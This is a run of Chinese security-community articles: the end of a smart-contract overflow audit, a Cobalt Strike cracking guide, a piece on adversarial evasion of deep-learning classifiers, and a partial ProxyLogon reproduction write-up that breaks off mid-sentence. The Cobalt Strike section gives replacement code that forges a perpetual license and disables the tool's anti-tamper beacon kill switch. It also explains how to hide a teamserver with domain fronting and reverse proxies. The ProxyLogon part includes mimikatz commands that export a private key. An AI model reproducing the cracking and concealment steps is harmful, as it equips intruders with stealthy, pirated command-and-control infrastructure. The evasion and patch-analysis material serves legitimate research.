* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
应用了SafeMath函数的智能合约实例：
<https://etherscan.io/address/0xB8c77482e45F1F44dE1745F52C74426C631bDD52#code>
可以看到在上面的智能合约当中对于数值运算都使用了SafeMath函数进行操作，而且也使用了require对溢出校验进行防护，总体较为安全。
## 总结
整型溢出问题发生的根源还是在于合约的开发者在开发合约时未考虑到“整型溢出”问题。作为审计人员的我们在看到合约时也要保持清醒，对于存在疑惑的地方应该采用“调试、验证”的方法去排除疑虑，而且在审计的过程中也要十分的认真、细心才可以，不要放过任何一个有可能存在问题的地方，例如修饰器/修饰词对应的权限问题、逻辑处理问题等等。
智能合约审计系列的后续文章，后期会陆续更新，谢谢各位的阅读，希望对大家有所帮助！Thank you! | 社区文章 |
# 0X00 背景
最近在做渗透测试相关的工作，因工作需要准备用Cobalt
Strike，老早都知道这款神器，早几年也看过官方的视频教程，但英文水平太渣当时很多都没听懂，出于各种原因后来也没怎么深入了解，所以一直都是处在大概了解的层面上。直到现在有需求了才开始研究，过程中体会也是蛮深，技术这东西真的不能只停留在知道和了解这个层面，就像学一门语言一样需要多动手去实践才能熟练运用的。当然在深入研究某一门技术的过程中难免遇到各种各样的问题，一步一步解决这些问题才是真正学习的过程。对Cobalt
strike的学习和研究中我也同样遇到很多的问题，辛得一些素不相识的师傅无私帮助，才解决掉所有的问题，这里把过程中一些问题和解决办法记录下来，以便以后查阅，同时也希望对刚接触Cobatl
strike的朋友有所帮助。
# 0x01 基础原理
基础使用和原理网上有大把的文章和教程，我这里只阐述我个人理解的几个基本点，先说`stage`和`stager`,在传统的远程控制类软件我们都是直接生成一个完整功能的客户端(其中包含了各种远控所需功能代码)，比如灰鸽子（...这里年龄已暴露。。)，然后将客户端以各种方式上传至目标机器然后运行，运行后目标机器与我们控制端点对点的通讯。而Cobalt
strike把这部分拆解为两部(`stage`和`stager`)，`stager` 是一个小程序，通常是手工优化的汇编指令，用于下载
`stage`、把它注入内存中运行。`stage`则就是包含了很多功能的代码块，用于接受和执行我们控制端的任务并返回结果。`stager`
通过各种方式(如http、dns、tcp等)下载`stage`并注入内存运行这个过程称为`Payload Staging`。同样Cobalt
strike也提供了类似传统远控上线的方式，把功能打包好直接运行后便可以与teamserver通讯，这个称为`Payload
Stageless`，生成`Stageless`的客户端可以在 `Attack->Package->Windows
Executeable（s）`下生成。这部分我也是在研究dns上线时候才算分清楚，这里需要感谢B0y1n4o4师傅的帮助
# 0x02 关于破解
目前网上公布版本大多为官方试用版破解而来且最高版为3.14（5月4号）版，我托朋找了一份3.14官方原版的来，原版的本身没有试用版那么多限制，破解也相对容易，只需绕过license认证即可，这里在文件`common/Authorization.class`的构造函数中。
public Authorization() {
String str = CommonUtils.canonicalize("cobaltstrike.auth");
if (!(new File(str)).exists())
try {
File file = new File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI());
if (file.getName().toLowerCase().endsWith(".jar"))
file = file.getParentFile();
str = (new File(file, "cobaltstrike.auth")).getAbsolutePath();
} catch (Exception exception) {
MudgeSanity.logException("trouble locating auth file", exception, false);
}
byte[] arrayOfByte1 = CommonUtils.readFile(str);
if (arrayOfByte1.length == 0) {
this.error = "Could not read " + str;
return;
}
AuthCrypto authCrypto = new AuthCrypto();
byte[] arrayOfByte2 = authCrypto.decrypt(arrayOfByte1);
if (arrayOfByte2.length == 0) {
this.error = authCrypto.error();
return;
}
String[] arrayOfString = CommonUtils.toArray(CommonUtils.bString(arrayOfByte2));
if (arrayOfString.length < 4) {
this.error = "auth content is only " + arrayOfString.length + " items";
return;
}
this.licensekey = arrayOfString[0];
if ("forever".equals(arrayOfString[1])) {
this.validto = arrayOfString[1];
MudgeSanity.systemDetail("valid to", "perpetual");
} else {
this.validto = "20" + arrayOfString[1];
MudgeSanity.systemDetail("valid to", CommonUtils.formatDateAny("MMMMM d, YYYY", getExpirationDate()));
}
this.watermark = CommonUtils.toNumber(arrayOfString[2], 0);
this.valid = true;
MudgeSanity.systemDetail("id", this.watermark + "");
}
这里需要把该类的`watermark`、`licensekey`、`validto`、`valid`实例域手动设置即可，如下面代码
public Authorization() {
this.valid = true;
this.validto = "forever";
this.licensekey = "Cartier";
this.watermark = 1;
MudgeSanity.systemDetail("valid to", "perpetual");
MudgeSanity.systemDetail("id", this.watermark + "");
}
剩余下其他关于listener个数限制可以参考[ssooking](https://www.cnblogs.com/ssooking/p/11045530.html)师傅的博客查看。
## Exit暗桩
剩下的一个就是Cobalt
strike作者留下的一个exit的暗桩问题，这里还是请教了ssooking师傅才知道，否则我这Java渣渣不知道要找到什么时候，这里再次对ssooking师傅的帮助表示感谢。
作者在程序里留了个验证jar文件完整性的功能，如果更改了jar包的文件
这个完整性就遭到破坏，作者会在目标上线30分钟后，在此以后添加的命令任务后门加一个exit的指令，目标的beacon就自动断开了，如下图。
代码在`beacon/BeaconC2.class`
protected boolean isPaddingRequired() {
boolean bool = false;
try {
ZipFile zipFile = new ZipFile(this.appd);
Enumeration<? extends ZipEntry> enumeration = zipFile.entries();
while (enumeration.hasMoreElements()) {
ZipEntry zipEntry = enumeration.nextElement();
long l1 = CommonUtils.checksum8(zipEntry.getName());
long l2 = zipEntry.getName().length();
if (l1 == 75L && l2 == 21L) {
if (zipEntry.getCrc() != 1661186542L && zipEntry.getCrc() != 1309838793L)
bool = true;
continue;
}
if (l1 == 144L && l2 == 20L) {
if (zipEntry.getCrc() != 1701567278L && zipEntry.getCrc() != 3030496089L)
bool = true;
continue;
}
if (l1 == 62L && l2 == 26L && zipEntry.getCrc() != 2913634760L && zipEntry.getCrc() != 376142471L)
bool = true;
}
zipFile.close();
} catch (Throwable throwable) {}
return bool;
}
public BeaconC2(Profile paramProfile, BeaconData paramBeaconData, Resources paramResources) {
this.c2profile = paramProfile;
this.resources = paramResources;
this.data = paramBeaconData;
this.channel_http = new BeaconHTTP(paramProfile, this);
this.channel_dns = new BeaconDNS(paramProfile, this);
this.socks = new BeaconSocks(this);
this.appd = getClass().getProtectionDomain().getCodeSource().getLocation().getPath();
paramBeaconData.shouldPad(isPaddingRequired()); //这里调用BeaconData类的shouldPad
this.parsers.add(new MimikatzCredentials(paramResources));
this.parsers.add(new MimikatzSamDump(paramResources));
this.parsers.add(new DcSyncCredentials(paramResources));
this.parsers.add(new MimikatzDcSyncCSV(paramResources));
this.parsers.add(new ScanResults(paramResources));
this.parsers.add(new NetViewResults(paramResources));
}
再看beacon/BeaconData.class
public void shouldPad(boolean paramBoolean) {
this.shouldPad = paramBoolean;
this.when = System.currentTimeMillis() + 1800000L;
}
public void task(String paramString, byte[] paramArrayOfbyte) {
synchronized (this) {
List<byte[]> list = getQueue(paramString);
//这里判断文件完整性和beacon上线是否草果30分钟
if (this.shouldPad && System.currentTimeMillis() > this.when) {
CommandBuilder commandBuilder = new CommandBuilder();
commandBuilder.setCommand(3);
commandBuilder.addString(paramArrayOfbyte);
list.add(commandBuilder.build());
} else {
list.add(paramArrayOfbyte);
}
this.tasked.add(paramString);
}
}
破解方法是直接更改`shouldPad`方法中的`this.shouldPad = paramBoolean;`为`this.shouldPad =
false;`
# 0x03 CDN+反代隐藏Teamserver
这部分原理参考垃圾桶师傅的文章([点这里](https://xz.aliyun.com/t/4509))，这里帮垃圾桶师傅填一个他在文章中说遇到的坑。
## Domain Fronting
这里垃圾桶师傅在添加Listener的时候Host填写的是CDN的地址，在使用powershell下载`stager`运行，`stager`再去下载`stage`的时候就是直接访问cdn的地址下载，但是`malleable
profile`没有配置制定stager的行为，所以无法正常回源到teamserver下载，这里只需要在profile文件中配置`http-stager`模块，像http-get一样指定好Host即可从CDN访问到teamserver下载`stage`了。
## Proxy
反向代理原理这里借用垃圾桶师傅的的图说明，我就不具体再阐述，垃圾桶师傅已经讲得很明白。
我使用的是Nginx做的反向代理，这里如果刚研究这个的朋友可能会遇到客户端上线后IP是Nginx服务器IP，走CDN的时候显为CDN节点IP的情况，这里有两个解决办法，先看看`server/ServerUtils.class`类中代码：
public static String getRemoteAddress(Profile paramProfile, Map paramMap) {
boolean bool = paramProfile.option(".http-config.trust_x_forwarded_for");
if (bool && paramMap.containsKey("X-Forwarded-For")) {
String str1 = (String)paramMap.get("X-Forwarded-For");
if (str1.indexOf(",") > -1) {
str1 = CommonUtils.strrep(str1, " ", "");
StringStack stringStack = new StringStack(str1, ",");
str1 = stringStack.shift();
}
if (CommonUtils.isIP(str1) || CommonUtils.isIPv6(str1))
return str1;
CommonUtils.print_error("remote address '" + (String)paramMap.get("X-Forwarded-For") + "' in X-Forwarded-For header is not valid.");
}
String str = (String)paramMap.get("REMOTE_ADDRESS");
return "".equals(str) ? "" : str.substring(1);
}
}
这里Cobatl Strike可以从`HttpHeader`中的`REMOTE_ADDRESS`和`X-Forwarded-For`中取得IP，我们要么在Nginx反向代理的时候设置`REMOTE_ADDRESS`值，要么在profile的配置文件中的`http-config`模块设置`trust_x_forwarded_for`值为`true`，这也是看了代码从知道有这个配置，英文渣渣表示很惭愧，官方写得很详细。
这里有个问题就是反向代理时候自定义`REMOTE_ADDRESS`时候往往无效，不知道具体啥情况，我之前在另外的机器上都有测试成功过。
# 0x04 DNS上线
## 一个未填的坑
这个坑是研究和使用Cobalt
Strike来最大一个坑，至发文今日都没有解决。问题是出在使用DNS的listener不管是`beacon_dns/reverse_http`还是`beacon_dns/reverse_dns_txt`时候，若使用`staging`方式`stager`在下载`stage`注入到内存中的时候崩掉，如下图。
而若使用`beacon_dns/reverse_http`时候，选用非纯dns模式就没问题，非纯dns模式状态下stager在下载stage时候使用http方式，stage只要成功下载注入内存后便可以mode改用dns方式来通讯了，要是有师傅知道怎么回事还赐教。
## DNS Listener特性
最后经B0y1n4o4师傅指点，改用stageless方式上线就没有问题了。但是在使用dns上线的时候还需要注意个问题。在添加Listener的时候`beacon_dns/reverse_http`和`beacon_dns/reverst_dns_txt`都需要填写端口信息，如下图。
如果端口使用80的情况下，上线之后的通讯优先使用http方式，若想用纯dns通讯的话就需要在上线之后首先使用`mode` 指令切换至dns、dns-txt或者dns6模式。添加listener自定一个非80的端口上线之后所以的通讯都将默认采用dns方式，且不能使用mode切换成http模式。
# 0x05 结语
以上均为我个人一些研究测试结论，有不到之处还请多多指正，Cobalt
Strike确实是一个蛮强大的工具，还有很多内容和技术有待研究，本人也正在学习Java，争取早日通读内核代码。 | 社区文章 |
# 【技术分享】对深度学习的逃逸攻击 ——探究人工智能系统中的安全盲区
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者： 肖奇学, 许伟林, 李康 @[360 Team Seri0us
团队](http://bobao.360.cn/member/contribute?uid=2967649585)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
ISC 2017中国互联网安全大会举办了人工智能安全论坛。 我们把论坛总结成为一系列文章，本文为系列中的第二篇。
**传送门：**
[**【技术分享】深度学习框架中的魔鬼——探究人工智能系统中的安全问题**](http://bobao.360.cn/learning/detail/4529.html)
“逃逸攻击就是要把百分之零点零零一的误判率变成百分之百的攻击成功率”。
虽然深度学习系统经过训练可以对正常输入达到很低的误判率，但是当攻击者用系统化的方法能够生成误判样本的时候，攻击的效率就可以接近100%，从而实现稳定的逃逸攻击。
**1\. 逃逸攻击简介**
逃逸是指攻击者在不改变目标机器学习系统的情况下，通过构造特定输入样本以完成欺骗目标系统的攻击。例如，攻击者可以修改一个恶意软件样本的非关键特征，使得它被一个反病毒系统判定为良性样本，从而绕过检测。攻击者为实施逃逸攻击而特意构造的样本通常被称为“对抗样本”。只要一个机器学习模型没有完美地学到判别规则，攻击者就有可能构造对抗样本用以欺骗机器学习系统。例如，研究者一直试图在计算机上模仿人类视觉功能，但由于人类视觉机理过于复杂，两个系统在判别物体时依赖的规则存在一定差异。对抗图片恰好利用这些差异使得机器学习模型得出和人类视觉截然不同的结果，如图1所示[1]。
图1: 攻击者生成对抗样本使系统与人类有不同的判断
一个著名的逃逸样本是Ian Goodfellow[2]在2015年ICLR会议上用过的熊猫与长臂猿分类的例子。
被攻击目标是一个来谷歌的深度学习研究系统。该系统利用卷积神经元网络能够精确区分熊猫与长臂猿等图片。但是攻击者可以对熊猫图片增加少量干扰，生成的图片对人来讲仍然可以清晰地判断为熊猫，但深度学习系统会误认为长臂猿。
图2显示了熊猫原图以及经过扰动生成后的图片。
图2: 在图片中添加扰动导致深度学习系统的错误识别实例
下面我们从攻击者的角度介绍如何系统生成对抗样本来达到稳定的逃逸攻击。不关心技术细节的读者可忽略这些内容，直接跳到文章结尾的总结部分。
**2\. 基于机器学习的对抗样本生成**
****
基于机器学习的逃逸攻击可分为白盒攻击和黑盒攻击。白盒攻击需要获取机器学习模型内部的所有信息，然后直接计算得到对抗样本；黑盒攻击则只需要知道模型的输入和输出，通过观察模型输出的变化来生成对抗样本。
**2.1 白盒攻击**
深度神经网络是数学上可微的模型，在训练过程中通常使用反向传播算法得到每层的梯度来调整网络参数。假设神经网络的输入是X，类别标签是Y，
网络参数是W，输出是F(X)=W*X。训练神经网络时，对于每个确定的输入样本X，我们反复调整网络参数W使得输出值F(X)趋向于该样本的类别标签Y。白盒攻击使用同样的方法，区别只是我们固定网络参数W，反复修改输入样本X使得输出值F(X)趋向于攻击目标Y’。这意味着我们只需要修改目标函数以及约束条件，就可以使用与训练神经网络同样的方法计算得到对抗性样本[3]。
白盒攻击的约束条件是一个关键部分。从X起始求解X’使得F(X’)=Y’的过程中，我们必须保证X’的标签不是Y’。例如，对于一个手写体输入“1”，如果我们把它改成“2”使得模型判别是“2”，那就不算是攻击。在计算机视觉领域，我们不太可能使用人力判定攻击方法生成的每一个样本X’，因此引入了距离函数Δ(X,
X’)。我们假设在一定的距离内，X’的 含义和标签与X是一致的。距离函数可以选择不同的Norm来表示，比如L2, L∞, 和L0 。
L-BFGS是第一种攻击深度学习模型的方法，它使用L2-Norm限制X’的范围，并使用最优化方法L-BFGS计算得到X’。后来基于模型的线性假设，研究者又提出了Fast Gradient Sign Method (FGSM)[2]
和DeepFool[4]等一些新方法。如果以距离Δ(X, X’)最小为目标，目前最先进的方法是Carlini-Wagner，它分别对多种距离函数做了求解优化。
**2.2 黑盒攻击**
黑盒攻击只依赖于机器学习模型的输出，而不需要了解模型内部的构造和状态。遗传（进化）算法即是一个有效的黑盒攻击方法。
遗传算法是在计算机上模仿达尔文生物进化论的一种最优化求解方法。它主要分为两个过程：首先通过基因突变或杂交得到新一代的变种，然后以优胜劣汰的方式选择优势变种。这个过程可以周而复始，一代一代地演化，最终得到我们需要的样本。
把遗传算法用于黑盒逃逸攻击时，我们利用模型的输出给每一个变种打分，F(X’)越接近目标标签Y’则得分越高，把高分变种留下来继续演化，最终可以得到F(X’)=Y’。这种方法已经成功用于欺骗基于机器学习的计算机视觉模型以及恶意软件检测器。
**3.基于遗传算法的对抗样本生成**
**3.1 对Gmail PDF过滤的逃逸攻击**
本文作者许伟林一年前在NDSS大会上发表了名为Automatically Evading
Classifiers的论文[5]。研究工作采用遗传编程（Genetic
Programming）随机修改恶意软件的方法，成功攻击了两个号称准确率极高的恶意PDF文件分类器：PDFrate 和Hidost
。这些逃逸检测的恶意文件都是算法自动修改出来的，并不需要PDF安全专家介入。图3显示了对抗样本生成的基本流程。
图3: 利用进化算法生成恶意PDF对抗变种
同样的算法可以用来对实际应用的机器学习系统进行逃逸攻击。上面提到的工作可以对 Gmail内嵌的恶意软件分类器进行攻击，
并且只需4行代码修改已知恶意PDF样本就可以达到近50%的逃逸率，10亿Gmail用户都受到影响。
**3.2 利用Fuzzing测试的对抗样本生成**
除了对模型和算法的弱点进行分析，黑盒攻击还可以借鉴模糊测试的方法来实现对抗样本的生成。下面以手写数字图像识别为例，我们的目标是产生对抗图片，使其看起来是“1”，而人工智能系统却识别为“2”。我们的主要思路是将这样一个对抗样本生成的问题，转换为一个漏洞挖掘的问题，如下图4所示。
图4：针对手写数字图像识别的对抗样本生成
我们主要是利用灰盒fuzzing测试的方法来实现，首先给定数字“1”的图片作为种子，然后通过对种子图片进行变异，如果机器学习系统将变异后的图片识别为“2”，那么我们认为这样一个图片就是对抗样本。
利用Fuzzing测试的对抗样本生成是基于AFL来实现的，主要做了以下几方面的改进：
1.是漏洞注入，我们在机器学习系统中添加一个判断，当图片被识别为2时，则人为产生一个crash；
2.是在数据变异的过程中，我们考虑文件格式的内容，优先对一些图像内容相关的数据进行变异；
3.是在AFL已有的路径导向的基础上，增加一些关键数据的导向。
下图5是我们生成的一些对抗样本的例子。
图5：针对手写数字图像的对抗样本生成结果
基于Fuzzing测试的对抗样本生成方法也可以快速的应用到其他AI应用系统中，如人脸识别系统。
图6：针对人脸识别系统的对抗样本生成
**4\. 基于软件漏洞进行逃逸攻击**
****
针对AI系统的对抗性攻击，就是让人工智能系统输出错误的结果。
还是以手写图像识别为例，攻击者可以构造恶意的图片，使得人工智能系统在分类识别图片的过程中触发相应的安全漏洞，
改变程序正常执行的控制流或数据流，使得人工智能系统输出攻击者指定的结果。 攻击思路基本分为两种：
**1\. 基于数据流篡改可以利用任意写内存漏洞，直接将AI系统中的一些关键数据进行修改(如标签、索引等)， 使得AI系统输出错误的结果。**
**2\.
另一种则是通过常规的控制流劫持(如堆溢出、栈溢出等漏洞)来完成对抗攻击，由于控制流劫持漏洞可以通过漏洞实现任意代码的执行，因此必然可以控制AI系统输出攻击者预期的结果。**
关于软件漏洞造成的问题我们在本系列第一篇文章里已有详细介绍。 这里只做了一个简单介绍, 更多细节请参考ISC 2017大会人工智能与安全论坛所发布的内容。
**5\. 小结**
本文的目的是继续介绍被大众所忽视的人工智能安全问题。虽然深度学习在处理自然生成的语音图像等以达到相当高的准确率，但是对恶意构造的输入仍然有巨大的提升空间。虽然深度学习系统经过训练可以对正常输入达到很低的误判率，但是当攻击者用系统化的方法能够生成误判样本的时候，攻击的效率就可以接近100%，
从而实现稳定的逃逸攻击。
随着人工智能应用的普及，相信对逃逸攻击的研究也会越来越深入。这些研究包括对抗样本生成以及增强深度学习对抗能力，我们未来会在后续文章里对这方面的工作进行更新。
**6\. 参考文献**
[1] <http://www.freebuf.com/articles/neopoints/124614.html>
[2] Ian Goodfellow and Jonathon Shlens and Christian Szegedy, Explaining and
Harnessing Adversarial Examples. International Conference on Learning
Representations, 2015.
[3] guyen, A., J. Yosinski, and J. Clune, Deep neural networks are easily
fooled: High confidence predictions for unrecognizable images. 2015: p.
427-436.
[4] Moosavi Dezfooli, Seyed Mohsen and Fawzi, Alhussein and Frossard, Pascal,
DeepFool: a simple and accurate method to fool deep neural networks,
Proceedings of 2016 IEEE Conference on Computer Vision and Pattern Recognition
(CVPR), 2016.
[5] Weilin Xu, Yanjun Qi, and David Evans, Automatically Evading Classifiers A
Case Study on PDF Malware Classifiers, NDSS, 2016 | 社区文章 |
# 复现Microsoft Exchange Proxylogon漏洞利用链
[Anthony Weems](https://www.praetorian.com/author/anthony-weems/) 和 [Dallas
Kaman](https://www.praetorian.com/author/dallas-kaman/) 于2021年3月9日发表
* * *
## 介绍
最近几周，在全球无处不在网络攻击中,微软已经检测多个0-day漏洞EXP用于攻击本地版本的Microsoft Exchange
Server。ProxyLogon是CVE-2021-26855的名称,它是一个存在于Microsoft Exchange
Server的漏洞，可以使攻击者绕过身份验证并模拟用户。在观察到的攻击中，威胁行动者使用该漏洞去访问本地Excange服务器，从而可以访问邮箱账号，并且安装了其他恶意软件对受害机器进行长期的控制。
Praetorian Labs team 团队对初始安全公告和后续补丁进行了逆向分析，成功地发现了功能全面的end to
end漏洞。把本文概述这样做的方法，但是有意地决定省略关键的概念验证组件以防止不成熟的参与者将漏洞武器化。尽管我们选择不发布完整的利用程序，但是我们知道在安全社区将不久会发布完整的利用程序。一旦剩下的步骤成为人尽皆知的知识，我们会更开放地讨论我们对于end-to-end的解决方案。我们相信之间的时间/天数将为我们的客户，公司和其他国家/地区提供更多时间来修补此严重漏洞。
Microsoft已快速开发并发布了脚本，指示工具和紧急的补丁程序，以帮助缓解这些漏洞。Microsoft安全响应中心[在此处](https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/)已经发布了一篇博客文章，详细介绍了这些缓解措施。值得注意的是,URL重写模块可以成功地阻止利用无需紧急修补，并且被证明是应对Proxylogon的快速有效策略。然而，正如其他地方讨论那样，对Proxylogon的利用已经非常广泛，对于对外部提供服务的Exchange服务器的操控者来说，现在必须专注于事件响应和降低风险。
## 方法
对于逆向工程，我们实现了以下步骤,去使我们能够执行对Exchange和它的补丁静态与动态的分析。
* 差异 **：** 查看易受攻击的版本和修补的版本之间的区别
* **测试：** 部署易受攻击版本的完整测试环境
* **观察：** 部署工具来了解典型的网络通信
* **研究：** 遍历每个CVE，将补丁差异连接到网络流量，并构造概念验证exp
## 差异
通过检查补丁前的二进制文件和补丁后的二进制文件间的差异，我们可以确定进行了那些更改。然后对这些更改进行逆向分析，以帮助重现原始的bug。
[微软的更新目录](https://www.catalog.update.microsoft.com/)在获取补丁用于确定差异时很有帮助。快速搜索相关软件的版本会返回一个安全补丁汇总列表，我们使用这些列表将最新的安全补丁与其前身进行了比较。例如，通过搜索[“
Exchange Server 2013
CU23的安全更新”，](https://www.catalog.update.microsoft.com/Search.aspx?q=Security
Update For Exchange Server 2013 CU23)我们找到了特定版本的Exchange的修补程序。之所以选择Exchange
2013，是因为它是易受CVE-2021-26855攻击的Exchange版本的最小补丁集，因此最容易进行diff。
**Microsoft Update 更新目录有助于根据日期来排序,因此所需的文件是前两个条目**
* * *
首先,
我们下载最新的(3/2/2021)和以前的(12/2/2021)的安全更新汇总。通过从.cab文件提取.msp文件，并使用7zip去解压缩.msp文件，我们剩下了两个存放二进制文件的文件夹用于比较。
**.msp 更新包含了几百个二进制文件-大部分是.NET应用程序**
* * *
因为大多数二进制文件都是.NET应用程序，因此我们使用 [dnSpy](https://github.com/dnSpy/dnSpy)
去反编译为一系列源文件，为了加快分析的速度，我们自动反编译，并通过将每一个版本作为单独的提交到github进行比较，来使用github的源代码管理的比较功能。
> PS. 很棒的trick
**在Github上寻找差异有助于突出重要的变化，一目了然**
* * *
我们也发现有用的另一个寻找差异的工具选择是[Telerik’s
JustAssembly](https://www.telerik.com/justassembly)..
> _JustAssembly简洁地显示整个dll的更改_
* * *
准备工作完成后, 我们需要启动目标Exchange服务器再次进行测试。
## 测试
首先,我们使用Microsoft的[ADDSDeployment](https://docs.microsoft.com/en-us/powershell/module/addsdeployment/?view=win10-ps)模块来设置标准域控制器。然后，我们下载了相关的Exchange程序(ex:<https://www.microsoft.com/en-us/download/details.aspx?id=58392> for Exchange 2013 CU23) 并且执行了标准的安装程序。
对于基于Azure的Excahnge环境，我们跟随[here](https://docs.microsoft.com/en-us/exchange/plan-and-deploy/deploy-new-installations/create-azure-test-environments?view=exchserver-2019)的步骤进行操作，将在"Install
Exchange"的步骤8中下载的安装程序替换为上面链接中找到的正确的Exchange安装程序。此外,我们修改了服务器配置脚本中的PowerShell代码以启动2012-R2
Datacenter服务器而不是2019 服务器版本
$vm=Set-AZVMSourceImage -VM $vm -PublisherName MicrosoftWindowsServer -Offer `
WindowsServer -Skus 2012-R2-Datacenter -Version "latest"
这样可以快速部署独立的域控制器和Exchange服务器， 并具有适当的网络安全组，以防止不必要的基于Internet的利用尝试。
## 观察
Microsoft
Exchange由几个后端组件组成，这些组件在服务器正常工作期间进行相互通信。从用户的角度来看，对前端Exchange服务器的请求将通过IIS流到Exchange
HTTP Proxy代理，后者评估mailbox路由逻辑，将请求发送到合适的后端服务器。如下图所示:
_Microsoft Exchange 2016客户端访问协议体系结构图（<https://docs.microsoft.com/zh-cn/exchange/architecture/architecture#client-access-protocol-architecture）>_
* * *
我们感兴趣的是观察从HTTP代理发送到Exchange后端的所有流量，因为其中包括来自真实服务的许多示例请求，以帮助我们更好地了解源代码和漏洞利用程序中的请求。Excahnge是部署在IIS上的，因此我们可以对Exchange的后端绑定做一个小修改，更新端口从444为4444。下一步，我们部署一个代理在444端口用来转发数据到新的绑定地址。
Exchange HTTP代理验证Exchange后端的tls证书,因此为了使我们的代理正常运行，我们想要导出计算机本地证书中的“ Microsoft
Exchange”证书。由于此证书的私钥在Exchange安装过程中被标记为不可导出，因此我们使用mimikatz提取了密钥和证书。
mimikatz# privilege::debug
mimikatz# crypto::certificates /export /systemstore:LOCAL_MACHINE
> PS.这里真的长知识了。
_使用mimikatz从我们的测试机中提取Exchange证书和密钥。_
* * *
手头有了证书和密钥，
我们使用了类似于socat的工具(一种多功能网络中继工具),去使用Exchange的证书监听端口444，并将链接中继到端口4444(实际的Exchange后端)。socat命令可能如下所示:
# export the certificate and private key (password mimikatz)
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nokeys -out exchange.pem
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nocerts -out exchange.pem
# launch socat, listening on port 444, forwarding to port 4444
socat -x -v openssl-listen:4444,cert=exchange.pem,key=exchange-key.pem,verify=0,reuseaddr,fork openssl-connect:127.0.0.1:444,verify=0
配置了代理后，我们便开始正常使用Exchange来生成HTTP请求并了解有关这些内部连接的更多信息。此外，几个后端服务器进程将请求发送到端口444，从而使我们能够观察到定期的运行状况检查，Powershell远程处理请求等。
## 研究
尽管每个CVE都不同，但我们对特定CVE进行分类的一般方法包括五个阶段:
1.审查指标
2.查看补丁差异
3.联系指标与差异
4.关联代码路径与代理流量
5.发起请求触发代码路径
6.重复操作
### 通过[CVE-2021-26857进行热身](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857)
“ [CVE-2021-26857](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857)是统一消息服务中的不安全的反序列化漏洞。不安全的反序列化是不可信的用户可控制数据被程序反序列化的地方。利用此漏洞，HAFNIUM可以在Exchange服务器上以SYSTEM身份运行代码。”
–[通过Microsoft有关HAFNIUM漏洞的公告](https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/)
尽管最终不需要在Exchange服务器上执行远程代码，但它提供了一个简单的示例，说明了修补程序的差异是如何揭示了漏洞的细节。上面的公告还明确地将[统一消息服务](https://docs.microsoft.com/en-us/exchange/unified-messaging-exchange-2013-help)确定为潜在目标，这极大地帮助我们去缩小初始的搜索范围。
Exchange二进制软件包的命名非常明确-代理功能位于Microsoft.Exchange.HttpProxy。
_中，日志上传位于Microsoft.Exchange.LogUploader中，而统一消息代码位于Microsoft.Exchange.UM。_
中。当比较文件时，我们在文件名中并不总是有明确的指示符，但是在我们的调查中没有理由不使用它。
_JustAssembly标出的这些dll的差异非常清楚地说明了根本原因_
* * *
此处的差异类表名`Base64Deserialize`功能已经被删除，并且`contactInfoDeserializationAllowList`属性被添加了。[.NET从历史上就一直在解决反序列化问题](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)，因此，看到此类变化强烈建议删除易受攻击的代码，并增加针对.NET反序列化利用的保护。检查Base64Deserialize确认了这一点：
_删除的函数将base64字符串的输出传递给BinaryFormatter的反序列化_
* * *
在补丁之前，`Microsoft.Exchange.UM.UMCore.PipelineContext.FromHeaderFile`我们通过检查diff观察到了这个不安全的方法：
此功能的更新版本包含更多可在反序列化之前正确验证类型的代码。
本质上，此修补程序删除了可以使用[ysoserial.net之类的](https://github.com/pwntester/ysoserial.net)工具进行利用的易受[.NET反序列化攻击的功能](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)。尽管这里的攻击路径非常简单，但是服务器上并非始终启用统一消息，因此，我们的概念验证利用依赖于CVE-2021-27065，如下所述。
### 服务器端请求伪造（[CVE-2021-26855](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855)）
由于所有远程执行代码漏洞都需要绕过身份验证，我们把我们的注意力集中到服务器端请求伪造（SSRF）。Microsoft发布了以下Powershell命令，以搜索与此漏洞相关的指标：
Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object { $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox
此外，Volexity还发布了以下与SSRF利用相关的URL：
/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>.js
通过利用上述的一些暗示,我们在补丁差异中搜索了相关术语(包括诸如主机，主机名，fqdn之类的字符串),并发现了`Microsoft.Exchange.FrontEndHttpProxy.HttpProxy`名称空间中有趣的变化。这使我们还发现了`BEResourceRequestHandler`所使用的`BackEndServer`类中的相关差异。
_补丁差异关于ServerInfo / authentication / host / fqdn._
* * *
_修补BEResourceRequestHandler使用的BackEndServer类的差异。_
* * *
接下来，我们跟踪到的调用`BEResourceRequestHandler`，并从中的`SelectHandlerForUnauthenticatedRequest`方法找到了相关路径`ProxyModule`。
_缩小的代码显示命中BEResourceRequestHandler的路径。_
* * *
最后, 我们评估了BEResourceRequestHandler的CanHandle方法，发现他需要带有ECP"协议" (e.g.
